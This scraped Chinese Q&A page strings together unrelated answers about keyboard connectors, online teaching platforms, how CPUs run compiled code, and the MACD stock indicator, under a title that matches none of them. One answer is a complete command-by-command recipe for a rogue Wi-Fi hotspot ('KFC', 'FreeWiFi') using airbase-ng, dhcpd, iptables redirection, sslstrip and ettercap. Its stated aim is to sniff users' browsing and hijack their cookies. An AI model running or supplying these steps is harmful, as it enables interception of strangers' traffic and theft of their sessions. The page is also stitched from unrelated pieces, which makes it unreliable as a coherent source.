php怎么检测信号，888电子琴怎么接电？
电子琴后面都有接口，请看下面说明电子琴后面接口说明：
sustain ：连接延音踏板的接口line out ：声音(信号)输出.一般情况可以连接音响headphpne ：耳机接口，3.5耳机要接的话，需要买一个转接头，大口转小口的那种。一般1、2块钱。
midi in MIDI：输入接口，MIDI IN是用于接收数据，比如话筒。
midi out MIDI：输出接口 ，是将乐器中的数据（MIDI消息）向外发送。
MIDI THRU：是将收到的数据再传给另一个MIDI乐器或设备，可以说是若干个乐器连接的接口
有没有好的网上教学平台推荐？
要解答这个问题，我们首先来看看直播教学与传统的线下教学有什么不同。
一、直播教学与传统线下教学的不同1.场景不同
线下课堂无论是“一对一”还是“一对多”的小班课，老师与学生处于同一个空间，家长和学生更注重的是老师与学员的面对面、手把手教学。
而线上直播教学则是通过电脑（手机、PAD）和网络，把老师的讲授与学生连结起来，对于学生和家长的体验来说，线上教学缺少的是老师对学生的有效监管和实时的辅导，这种体验在K12学科类线上课堂还好一些，在素质类教育尤其是艺体培训行业体验感就更差了。
传统线下教学场景
学生通过线上平台上课
2.相较于传统线下教学，有效的直播教学要求学生有更高自觉性
线下教学老师与学生同处一室，学生处于线下课堂，是一种固化的，有纪律要求的场景，老师的目光随时与学生目光进行交流，每个学生都会感觉到老师会随时关注到自己，也会提醒自己时刻保持课堂注意力的集中。
线上教学，老师同学处于各自的摄像头之下，如果没有选择实时双向视频互动的方式 ，学生会更加放松，反正老师也看不见自己，只要老师点名、连MIC或转播自己视频时，自己假装专注就可以了。
老师又忙于应付网络是否断线、MIC是否静音、切换课件……等各种随时可能发生或是不太熟悉的操作，就更加难以兼顾学生的上课情况。因为老师难以监管学生是否真的在听讲，还是在做别的事情，所以线上教学更考验学生的自觉性。
反正老师看不见，我再开个游戏吧
3.直播教学是全程可记录的教学
线上直播教学过程中，师生的活动都会产生痕迹，都会被记录下来。基本上所有的直播平台都支持回放，这让教学时间得以延长。
学生在线没有听懂或理解的地方，可以通过回看来自主学习。
而传统的线下教学一般不会记录下来。
4.直播教学的内容是有限制的
直播教学并不适用于所有学科，如实验类课程、技能类等课程等需要特定设备、要求及时指导反馈的，就难以运用直播教学。
上面分析了线上课堂和传统线下课堂的主要不同点。明白了两种教学模式的主要差异，通过技术手段、教学方法改革等对线上教学针对学科性质进行优化，才能更好的解决线上教学过程中学生的体验感，获得家长的认同。
那么线上直播应该做哪些准备呢？下面跟米豆一起来了解一下线上教学环境的准备工作。
二、直播教学必备的软、硬件环境1.电脑、网络直播摄像头、麦克风
直播教学中，声音是十分重要的，如果有杂音、声音不清晰，那直播效果就大打折扣，甚至会“赶跑”学生。
电脑（或手机、PAD）一般主流配置就可以；摄像头一般要选支持720P以上的高清摄像头。根据课程需要，如分享手写教案，还可以准备实物展台；MIC根据场景选择头戴、领夹或桌面式。主要的要求是降噪和指向性，一般要选单指向MIC。流畅的视频、清晰的声音是线上教学功能最基本的要求。在直播教学准备过程中，很多老师最容易忽略的是灯光问题。有了上面所说的电脑、摄像头、麦克风高品质硬件外，简单的背景和合理的灯光，会给画面带来质的提升。
如果对教学直播要求比较高，可以搭建专门的演播室，或是虚拟演播室（这一部以后会专门来讲）。
低成本高效果的虚拟演播室场景
2.流畅的网络支持
线上教学过程中，音、视频是否流畅、与网络的带宽和上网形式有着直接关系。
大型机构自建平台的，可以选择专线。选用第三方SAAS平台的，在教师端，网络一般的家庭宽带就足够用。在连接方式上，选择的顺序为：有线网络>无线WI-FI>手机热点
有线网络没有无线网络的信号和信道干扰，相对比较稳定。
3.安静的环境
建议选择在一个相对安静的环境下进行直播，安静的环境有利于教师专心教学。
疫情期间，就出过老师在试播过程中，以为摄像头MIC没有连线，而把在家里教训自己孩子的过程在线上班级进行了直播的笑话。
4.直播平台
经过几年的发展，线上教学平台各类繁多。传统的流媒体平台、课程分享平台、视频会议平台、社交平台都借这次疫情机会，纷纷转型在线直播教学服务。
让机构和老师最头疼的，就是直播平台的选择。
面对如此纷杂的平台，到底应该选哪个？
我给出的答案是：没有最优的平台，结合自己的学科内容选一个最适合自己的。
在选型过程中，老师们需要进行多多的测试，多功能、易用性、交互能力、管理能力等方面入手，选择最适合自己教学的直播平台就好。
三、直播平台分类与选择直播平台的分类
众多的平台，没法一一评测。自己搭建教学平台，不在这里的讨论之列。米豆在这里把常见的收费或免费的SAAS（云服务）平台，从主要形式上进行归类做个总结。
教学管理平台集成的直播频道：如云朵CRM所属的云朵课堂、ClassIn、小麦助教等互联网公司视频直播平台：腾讯云课堂（QQ，微信）、钉钉等技术型直播公司（原视频会议平台）：ZOOM、瞩目、小鱼易连等短视频直播平台：如抖音、西瓜、快手等几类平台的优劣势比较第一类是从教学管理平台上新增的在线直播课堂功能，打通了机构管理的各个层面。
如从前端的招生引流到学生的课程管理、课堂管理、课后作业点评、老师管理等各项管理功能。在线教学系统是强大的机构管理功能中的一个模块。
如教务可以对学生进行排课，一键可以通知到学生端（家长端），学生点击通知的链接就可以直接加入课堂。线上课堂结束后，教师端可以直接在系统内布置作业，对学生提交的作业进行点评。还有很多如学生作业打卡、分享作业等都可以与机构的积分系统进行对接，自动获得机构设置的相应积分等激励手段
缺点是这类线上直播平台大多数是集成的第三方系统，在线课堂的功能上虽然可以满足基本的上课要求，但学生与老师只能通过文字方式进行讨论，视频互动等实时交互功能有待改进。
第二类互联网服务平台推出的产品，具有强大的技术支撑和平台能力，对于在线课堂，也有不同的产品推出，如腾讯的在线互动课堂、在线直播课堂、在线点播课等。
同时QQ群直播、微信直播功能也可以做到高度集成，方便学生在既有的APP内完成学习。
钉钉直播也是内置在钉钉系统内的个个模块，可以在线创建班级，展开群直播。
这类平台注重的是老师端的音视频、多媒体课件、PPT分享等功能，在交互上，学生可以举手或是留言聊天，更多的是打通了在线教学与IM系统的集成。
第三类视频会议系统平台在音视频压缩算法上具有独到的优势，音视频交互功能强大。在网络不稳定的情况下，也可以保证流畅的音、视频交互。
同时媒体体课件分享与交互、双流、对学生端方便的管控等功能，也是此类平台突出优势。
这类平台脱胎于视频会议系统，在与机构管理系统对接上，如果想深耕在线教学行业，还需要进一步加强。
视频会议应用
第四类平台是近几年非常流行的短视频社交和直播功能的延伸。
这类平台可以将老师分分钟变身十八线网络主播。但在课堂管理、课件分享与机构管理平台对接等功能上，还是比较弱的。毕竟，这类平台主打的是娱乐互动，学生在课上刷个火箭、老铁走一个这种氛围，对于K12类的线上教学，有失庄重
那么，机构到底应该选择哪类平台呢？机构对于直播平台的基本功能要求有哪些呢？
通过与众多机构校长、老师的交流，总结出在线教学平台的基本要求如下：
理想在线教学平台的三要素
一个好的在线直播平台。应该从学科覆盖、场景支持以及与机构内部管理平台融合这三个大的方面去考量。
理想在线教学平台三要素
要素一：学科覆盖范围广
平台采用开放设计，功能上可以满足不同学科的个性需求。
K12类
语言类
STEAM
职业培训
素质教育类
……
要素二：多种教学场景支持
丰富的班型设计，不同场景教学模式支持，并不断根据市场需求探索全新教学模式。
一对一
小班课
大班课
双师课堂
网页大直播
会场直播
要素三：满足机构管理需求
备课、教学、练习、测试、点评，贯穿教学整个闭环的全流程管理，同时，打通教学平台与机构内部管理平台的无缝对接，一个应用内解决全部需求，让学生家长尽可能少的在不同应用上进行切换。
作业提交
课堂笔记
云盘分享
多向屏幕分享与互动
文档协同编辑
IM即时通讯
大数据分析
AI辅助
多方位的机构管理需求
通过上面的总结，可以看出，机构在选择线上教学平台时，关注的还是便捷的操作、功能的满足与扩展性能。
无论线上教学平台在技术上如何发展，在满足基本的教学功能基础之上，简易上手，操作简便是首要条件，可以让老师和学生轻松上手。
而作为亮点，AI辅助教学和后台的大数据分析，可以更好的为机构和老师发现教学中的问题，及时发现问题，及时的改进教学方法和质量。
【米豆观点】
无论采用什么样的教学手段，教学的本质是不变的，教学质量始终要摆在第一位。教学质量是学校的生命线是教师价值的体现。教学质量不仅是一个量化的数字，更是学生、家长的口碑相传，做好这个根本，才会使机构得以生存和发展。
CPU是如何识别代码的？
提前备注：回答比较硬核，我会尽量软化，但想了解知识还是需要耐心。CPU内传输的信号有两种：高电压和低电压，分别代表数字信号“1”和“0”，因此CPU唯一能理解（问题中的“认识”）的语言就是由“1”和“0”写成的机器语言。
由于程序（代码）存储在电脑硬盘中时，也是“1”和“0”的形式，是否就意味着，只要程序存到硬盘中，CPU就能认识呢？
答案是CPU仍然看不懂这些程序，因为以“1”和“0”形式存储的程序和以“1”和“0”写成的语言完全是两回事，两者的区别类似于汉语书和英语书都用纸和油墨印制，但依然是两种不同的语言，不会英语的依然看不懂英语书。
要让CPU能看懂代码，要做相当多的工作。
现在的程序都是由C++和Java等高级语言写成，这些语言是为方便人类编程发明的，不是为方便电脑执行而设计。
说到这里，需要进一步说说机器语言和高级语言的差别。机器语言的最大特点是面向计算机硬件编程，简单说就是程序员需要通晓计算机硬件知识，写的程序要真实表示数据是如何被计算机操纵的。对程序员来说这就比较头大，毕竟上得了“厅堂”下得了“厨房”只有少数大神能做到，加上机器语言纯用“0”和“1”序列组成，既对视力是一种摧残，也是对编程趣味的扼杀。
于是，有一帮人开始琢磨了：能不能将计算机硬件从编程中分离出来，让硬件知识小白也能编程？
最先开窍的是蓝色巨人IBM，它在其System/360计算机中引入了ISA（Instruction Set Architecture）概念，将编程所需要了解的硬件信息从硬件中抽象出来，这样编程人员就可以面向ISA编程。由于ISA是用来描述编程时用到的抽象机器（不是具体的电脑CPU），包括了一套指令集和一些寄存器，因此，程序员只要知道ISA，不需要了解具体的硬件知识（每一两年硬件都会换新），就可以编写程序，在ISA相同的电脑上运行。
这样一来，程序员不必了解过于专业的计算机硬件知识，不需要下得了厅堂，可以专心在“厨房”烹调程序大餐。
由此也可以看出，程序员很多都是不了解计算机硬件的，所以妹子们不要指望自己的程序员男朋友给你DIY电脑，或者电脑坏了，他能给你省下一笔修理费。他说不会修，那就是真的不会修。
极客漫画《编程语言之战》。
自从不用懂硬件也能编程的高级语言出现后，人类开始了编程上的放飞自我，经过数十年发展，高级编程语言已超过2500种。但矛盾出现了，CPU能理解的机器语言还是那个机器语言，几十年来没有变化，怎么办？
其实，早在高级语言出现之前的汇编语言时代，聪明的计算机研发人员就开发出了专门的程序，用来将汇编语言和高级语言翻译成机器语言，其过程相当于将英语名著翻译成汉语著作。这种翻译程序相当于人类中的翻译家。
编译器有两种方法用于翻译：编译和解释，相应的名称是编译器和解释器。两者的区别是，编译是在执行前把整个源程序（高级语言程序）翻译成目标程序（机器语言程序），而解释是一次只翻译和执行源程序中的一行。
打个形象的比方，解释器相当于发布会的实时翻译，演讲的嘉宾说一句，实时翻译马上翻译一句。编译器则相当于著作翻译家，整本翻译完成后，再让出版社印刷上市。
将高级语言翻译成机器语言的过程。个人手绘比较粗糙，大家凑合看。
重点来了，从以上的内容可以看出，由于CPU不能直接理解用高级语言写成的代码，必须由翻译程序翻译成机器语言，因此翻译程序可以极大地影响甚至决定处理器性能的发挥。如果没有一个好的翻译程序，那么CPU的性能再强大，也好比茶壶装的饺子，倒不出来。正因为如此，谷歌在安卓4.4之后，抛弃了Dalvik虚拟机，改为ART，实际是将翻译程序从解释器切换到编译器，发挥了芯片的性能，提高了程序运行效率。
现在，手机大厂包括华为、OPPO和vivo都开始重视编译器开发，说到底就是为了发挥芯片性能，让它不再成为倒不出饺子的茶壶。
最后总结一下，用翻译程序把程序员编写的程序翻译成二进制代码的机器语言后，CPU就能认识了，而且翻译程序的优劣可以影响乃至决定CPU性能发挥。怎么转发所有客户端请求到指定ip？
方案1：iwconfig命令查看是否成功识别airmon-ng命令查看无线网卡情况，找到接入的USB无线网卡名称，airmon-ng start wlan2命令使USB无线网卡工作在监听模式； airbase-ng –e “KFC” –c 11 wlan0mon命令并回车，这样就生成了一个工作在11频道、SSID名称为“KFC”的热点； ifconfig –a命令，查看接口网卡at0是否存在，确认存在后， ifconfig at0 up命令启动接口网卡at0； 配置DHCP服务的各项参数，vim /etc/dhcp/dhcpd.conf命令并回车，开始编辑isc-dhcpd软件的配置文件，其中：ddns-update-style none表示不自动更新DNS与DHCP服务器的动态信息subnet 192.168.100.0 netmask 255.255.255.0表示IP地址段为192.168.100.0/24，子网掩码为255.255.255.0range 192.168.100.50 192.168.100.100表示用于分配的IP地址为.50-.200option subnet-mask 设置子网掩码，option broadcast-address设置广播地址option routers 192.168.100.1表示设置网关为192.168.100.1option domain-name-servers 10.0.1.106表示设置DNS解析服务器为10.0.1.106 配置详细：subnet 192.168.100.0 netmask 255.255.255.0 {range 192.168.100.50 192.168.100.200;option subnet-mask255.255.255.0; #子网掩码option broadcast-address192.168.100.255; #广播地址option routers192.168.100.1; #网关option domain-name-sercers10.0.1.106; #DNS解析服务器，.106这个ip是bt5的（另外一台虚拟机）default-lease-time 21600;max-lease-time 43200;} 编辑好后，按“Esc”键，敲入“:wq”保存退出.ifconfig at0 192.168.100.1 netmask 255.255.255.0命令并回车，设置接口网卡at0的ip地址和子网掩码；route add –net 192.168.100.0 netmask 255.255.255.0 gw 192.168.100.1命令并回车，表示增加一条路由记录，使192.168.100.1网关生效；dhcpd –d –f –cf /etc/dhcp/dhcpd.conf at0命令并回车，启动DHCP服务； 打开新的终端echo 1 > /proc/sys/net/ipv4/ip_forward命令并回车，开启系统数据转发功能；iptables –t nat –A POSTROUTING --out-interface eth0 –j MASQUERADE命令并回车，设置iptables转发，将所有数据转发到eth0网卡；urlsnarf –i at0启动urlsnarf软件，嗅探输出at0网卡上所有HTTP访问记录； 方案2：使用 airbase-ng + dhcpd 创建虚拟WiFi热点；顺便使用 sslstrip+ettercap 进行中间人攻击，嗅探使用者的上网信息和劫持cookie！所需要的软件如下；kali-linux都已经自带了，其他的系统可以自行安装：Aircrack-ng 套件 #用来发送数据isc-dhcp-server #简单的dhcp服务器sslstrip #突破ssl加密ettercap #嗅探劫持vim /etc/dhcp/dhcpd.conf 编辑dhcp服务器配置文件，修改如下：authoritative;default-lease-time 700;max-lease-time 8000;subnet 10.0.0.0 netmask 255.255.255.0 {option routers 10.0.0.1;option subnet-mask 255.255.255.0;option domain-name "FreeWiFi";option domain-name-servers 10.0.0.1;range 10.0.0.10 10.0.0.100; }然后激活网卡至监听模式：airmon-ng start wlan0airbase-ng -e FreeWiFi -c 6 mon0此时虚拟wifi的信号已经发送出去了，如果出现错误：Error: Got channel -1, expected a value > 0.执行如下命令：airmon-ng stop mon0ifconfig wlan0 downiwconfig wlan0 mode monitorifconfig wlan0 up然后从激活网卡至监听模式那里重新开始。接着执行如下命令：ifconfig at0 upifconfig at0 10.0.0.1 netmask 255.255.255.0ifconfig at0 mtu 1400route add -net 10.0.0.0 netmask 255.255.255.0 gw 10.0.0.1iptables --flushiptables --table nat --flushiptables --delete-chainiptables --table nat --delete-chainecho 1 > /proc/sys/net/ipv4/ip_forwardiptables -t nat -A PREROUTING -p udp -j DNAT --to 192.168.1.1iptables -P FORWARD ACCEPTiptables --append FORWARD --in-interface at0 -j ACCEPTiptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADEiptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000dhcpd -cf /etc/dhcp/dhcpd.conf -pf /var/run/dhcpd.pid at0/etc/init.d/isc-dhcp-server start虚拟WiFir热点创建成功，接下来就是嗅探欺骗钓鱼了：sslstrip -fpk 10000ettercap -Tpuqi at0
DEA是什么意思？
MACD指标
指标说明
MACD指数平滑异同移动平均线为两条长、短的平滑平均线。
其买卖原则为：
1.DIFF、DEA均为正，DIFF向上突破DEA，买入信号。
2.DIFF、DEA均为负，DIFF向下跌破DEA，卖出信号。
3.DEA线与K线发生背离，行情反转信号。
4.分析MACD柱状线，由红变绿（正变负），卖出信号；由绿变红，买入信号。 常用指标说明：https://www.youxiagushi.com/main/viewthread.php?tid=27074